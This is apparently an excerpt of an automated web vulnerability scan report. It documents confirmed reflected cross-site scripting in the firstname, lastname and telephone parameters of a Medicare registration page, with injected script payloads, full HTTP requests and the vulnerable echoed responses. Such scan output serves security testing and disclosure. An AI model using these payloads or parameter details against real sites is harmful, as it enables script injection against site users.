<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET '"--></style></script><script>netsparker(0x000649)</script>
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
firstname POST '"--></style></script><script>alert(0x000649)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000649%29%3C%2Fscript%3E&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000qYmzVSiKhlh8aKXZ78nApqP:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:24 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Set-Cookie: JSESSIONID=0000SCZpbDz-qVzAQPvrzVuYD0u:-1; Path=/
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x000649)</script>" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET '"--></style></script><script>netsparker(0x00065C)</script>
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
lastname POST '"--></style></script><script>alert(0x00065C)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x00065C%29%3C%2Fscript%3E&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker%40example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000kmcc-2CRUyZJIU5HjMX39VA:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:27 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="'"--></style></script><script>netsparker(0x00065C)</script>" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" hei..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET '"--></style></script><script>netsparker(0x000735)</script>
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
telephone POST '"--></style></script><script>alert(0x000735)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x000735%29%3C%2Fscript%3E&email=netsparker%40example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000O3YZ3ekb0THD-ko__ozYg1t:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:44 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
